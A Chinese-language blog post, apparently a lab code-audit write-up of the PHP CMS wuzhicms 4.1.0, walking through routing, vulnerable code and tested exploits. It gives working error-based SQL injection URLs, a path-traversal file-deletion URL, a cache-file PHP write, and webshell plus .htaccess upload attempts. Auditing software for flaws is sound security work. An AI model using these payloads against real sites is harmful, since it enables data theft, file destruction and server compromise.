wuzhicms-4.1.0 代码审计(php)

环境搭建

在www/configs/default_mysql_config.php更改对应配置信息

新建一个名为wuzhicms的数据库

按照安装说明,访问域名:http://域名/install/ 进行安装

审计过程

初步

判断路由关系
1
http://localhost/wuzhicms/www/index.php?m=core&f=index&_su=wuzhicms

在coreframe/app文件夹中,m表示对应的模块,f表示对应的类,v表示类中的方法

传值方法

此源码传值是利用GLOBALS

引用数据库模板插件等(查看安装说明)

查看cms说明可以了解到数据库是mysql

翻看目录结构可以看到有templet文件夹,可以关注是否有ssti注入

在说明中看到

源码中禁止附件目录运行php,说明大概率是爆出过文件上传漏洞,一会可以尝试 .htaccess文件配合图片马上传

目录结构

admin/ — 后台控制器或配置

fields/ — 字段类型定义与处理器

libs/ — 核心类库和工具函数

自动化工具使用

不好用,只能辅助

先用自动化工具扫描一下

控制类主要在coreframe/app目录中,着重关注

搜索敏感函数关键字

php敏感函数速查表 - MuRKuo - 博客园 (cnblogs.com)

后台phpinfo()敏感信息泄露

coreframe/app/core/admin/index.php

直接访问url

1
http://localhost/wuzhicms/www/index.php?m=core&f=index&v=phpinfo&_su=wuzhicms

sql注入

全局搜索select时发现coreframe/app/core/libs/class/mysql.class.php中

get_list与get_one方法有未过滤的sql语句

全局搜素是否有调用这两个函数的方法,并且传入参数可控

查看是否能访问

后台注入01

类似的listing方法有很多,不一一列出

coreframe/app/core/admin/copyfrom.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function listing() {
$siteid = get_cookie('siteid');
$page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;
$page = max($page,1);
if(isset($GLOBALS['keywords'])) {
$keywords = $GLOBALS['keywords'];
$where = "`name` LIKE '%$keywords%'";
} else {
$where = '';
}
$result = $this->db->get_list('copyfrom', $where, '*', 0, 20,$page);
$pages = $this->db->pages;
$total = $this->db->number;
include $this->template('copyfrom_listing');
}

可以看到keywords参数可控

构造url尝试访问

1
http://localhost/wuzhicms/www/index.php?m=core&f=copyfrom&v=listing&_su=wuzhicms

能看到是友链操作列表查询

测试一下

看到单引号报错,使用报错注入

payload

1
http://localhost/wuzhicms/www/index.php?m=core&f=copyfrom&v=listing&_su=wuzhicms&keywords=1%25%27+or+1%3dextractvalue(1%2cconcat(0x7e%2c(select+database())))+%23

顺利注入

后台注入02

coreframe/app/promote/admin/index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function search() {
$siteid = get_cookie('siteid');
$page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;
$page = max($page,1);
$fieldtype = $GLOBALS['fieldtype'];
$keywords = $GLOBALS['keywords'];
if($fieldtype=='place') {
$where = "`siteid`='$siteid' AND `name` LIKE '%$keywords%'";
$result = $this->db->get_list('promote_place', $where, '*', 0, 50,$page,'pid ASC');
$pages = $this->db->pages;
$total = $this->db->number;
include $this->template('listingplace');
} else {
$where = "`siteid`='$siteid' AND `$fieldtype` LIKE '%$keywords%'";
$result = $this->db->get_list('promote',$where, '*', 0, 20,$page,'id DESC');
$pages = $this->db->pages;
$total = $this->db->number;
include $this->template('listing');
}

这个直接全局搜索是不显示的,全局搜索时可以看到只显示到coreframe/app/pay目录,剩下的需要手动查找

直接搜索url,发现有报错提示

同样使用报错注入

payload

1
http://localhost/wuzhicms/www/index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=1%25%27+or+1%3dextractvalue(1%2cconcat(0x7e%2c(select+database())))+%23

后台任意文件删除

搜索unlink关键字

coreframe/app/attachment/admin/index.php

del()方法对用户传入的url参数无过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
public function del()
{
$id = isset($GLOBALS['id']) ? $GLOBALS['id'] : '';
$url = isset($GLOBALS['url']) ? remove_xss($GLOBALS['url']) : '';
if (!$id && !$url) MSG(L('operation_failure'), HTTP_REFERER, 3000);
if ($id) {
if(!is_array($id)) {
$ids = array($id);
} else {
$ids = $id;
}

foreach($ids as $id) {
$where = array('id' => $id);
$att_info = $this->db->get_one('attachment', $where, 'usertimes,path');
if ($att_info['usertimes'] > 1) {
$this->db->update('attachment', 'usertimes = usertimes-1', $where);
}
else {
$this->my_unlink(ATTACHMENT_ROOT . $att_info['path']);
$this->db->delete('attachment', $where);
$this->db->delete('attachment_tag_index', array('att_id'=>$id));
}
}
MSG(L('delete success'), HTTP_REFERER, 1000);
}
else {
if (!$url) MSG('url del ' . L('operation_failure'), HTTP_REFERER, 3000);
$path = str_ireplace(ATTACHMENT_URL, '', $url);
if ($path) {
$where = array('path' => $path);
$att_info = $this->db->get_one('attachment', $where, 'usertimes,id');

if (empty($att_info)) {
$this->my_unlink(ATTACHMENT_ROOT . $path);
MSG(L('operation_success'), HTTP_REFERER, 3000);
}

if ($att_info['usertimes'] > 1) {
$this->db->update('attachment', 'usertimes = usertimes-1', array('id' => $att_info['id']));
}
else {
$this->my_unlink(ATTACHMENT_ROOT . $path);
$this->db->delete('attachment', array('id' => $att_info['id']));
MSG(L('operation_success'), HTTP_REFERER, 3000);
}
}
else {
MSG(L('operation_failure'), HTTP_REFERER, 3000);
}
}
}

在D盘下放一个1.txt文件

网站www目录路径

1
D:/phpstudy_pro/WWW/wuzhicms/www/uploadfile

构造payload

1
http://localhost/wuzhicms/www/index.php?m=attachment&f=index&_su=wuzhicms&v=del&url=http://localhost/wuzhicms/www/uploadfile/../../../../../1.txt

执行后可以看到1.txt文件顺利被删除

在D盘文件目录中也可以看到是被删除的

逻辑漏洞

www/api/uc.php

可以将uc_note类中的方法名传入action中调用方法,此类中有更改用户名,更改用户密码,删除用户等方法

此文件是可以访问的

构造url

1
http://localhost/wuzhicms/www/api/uc.php?action=deleteuser&ids=2

显示无效请求

后台文件上传

搜索file_put_contents关键字时发现

coreframe/app/core/libs/function/common.func.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function set_cache($filename, $data, $dir = '_cache_'){
static $_dirs;
if ($dir == '') return FALSE;
if (!preg_match('/([a-z0-9_]+)/i', $filename)) return FALSE;
$cache_path = CACHE_ROOT . $dir . '/';
if (!isset($_dirs[$filename . $dir])) {
if (!is_dir($cache_path)) {
mkdir($cache_path, 0777, true);
}
$_dirs[$filename . $dir] = 1;
}

$filename = $cache_path . $filename . '.' . CACHE_EXT . '.php';
if (is_array($data)) {
$data = '<?php' . "/r/n return " . array2string($data) . '?>';
}
file_put_contents($filename, $data);
}

查看是否有方法调用,方法中$data是否能作为可控变量

全局搜索关键字set_cache

coreframe/app/attachment/admin/index.php

set方法调用了此函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function set()
{
if (isset($GLOBALS['submit'])) {
set_cache(M, $GLOBALS['setting']);
MSG(L('operation_success'), HTTP_REFERER, 3000);
} else {
$show_dialog = 1;
load_class('form');
$setting = &$this->_cache;
if(!isset($setting['show_mode'])) {
$setting = array('show_mode'=>2,'watermark_enable'=>1,'watermark_pos'=>0,'watermark_text'=>'www.wuzhicms.com');
set_cache(M, $setting);
}
include $this->template('set', M);
}
}

可以看到我们传入setting的值即可

访问url抓取数据包

有先前的set_cache方法可知,文件在cache/_ cache_目录下,通过此数据包可以看到watermark的名称

可以确定数据上传后保存在caches/cache/attachment.YGzFh.php路径下

修改数据包

顺利上传

由于是缓存文件,重启服务器就会失效

后台文件上传(未成功)

文件上传之.htaccess的一些技巧 - FreeBuf网络安全行业门户

在寻找功能点时发现管理中心->管理会员->上传头像有文件上传

抓包查看路由

找到控制代码

coreframe/app/attachment/index.php ->h5upload()方法

发现是一个黑名单验证

跟进filename方法

1
2
3
4
5
6
7
8
9
10
11
function filename($name) 
{
$_exts = array('php','asp','jsp','jspx','html','htm','aspx','asa','cs','cgi','js','dhtml','xhtml','vb','exe','shell','bat','php4','php4','php5','pthml','cdx','cer');
$ext = strtolower(pathinfo($name,PATHINFO_EXTENSION));
if(in_array($ext, $_exts)) {
return FALSE;
}
$rand_str = random_string('diy', 6,'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789');
$files = date('YmdHis').$rand_str.'.'.$ext;
return $files;
}

发现并没有禁止.htaccess后缀文件上传

尝试上传图片马再解析

ps:这里黑名单绕过上传php文件是不可以的,之前在安装说明处看到uploadfile文件下的php文件是禁止运行的

抓包上传一句话木马

可以看到是没有文件内容检测和MIME检测的,成功上传

上传.htaccess文件

1
2
3
<FilesMatch "/.png">
SetHandler application/x-httpd-php
</FilesMatch>

同样可以看到是成功上传的

但是上传后是无法按照预想中执行的,文件上传之后被重命名无法更改,但是apache智慧查找.htaccess并执行

并且执行.htaccess文件需要apache httpd.conf文件中AllowOverride值为All,默认是none,这个要看运气

步骤

  1. 翻看目录弄清楚结构,找到控制器
  2. 安装系统查看使用的依赖,模板
  3. 判断正常的传值,参数关系,路由关系
  4. 搜索关键字,找敏感函数,查看是否有可控变量,查看是否有利用点(是否有控制器中方法调用,能传参)

wuzhicms-4.1.0 代码审计(php)
http://huang-d1.github.io/2025/07/19/wuzhicms-4.1.0 代码审计(php)/
作者
huangdi
发布于
2025年7月19日
许可协议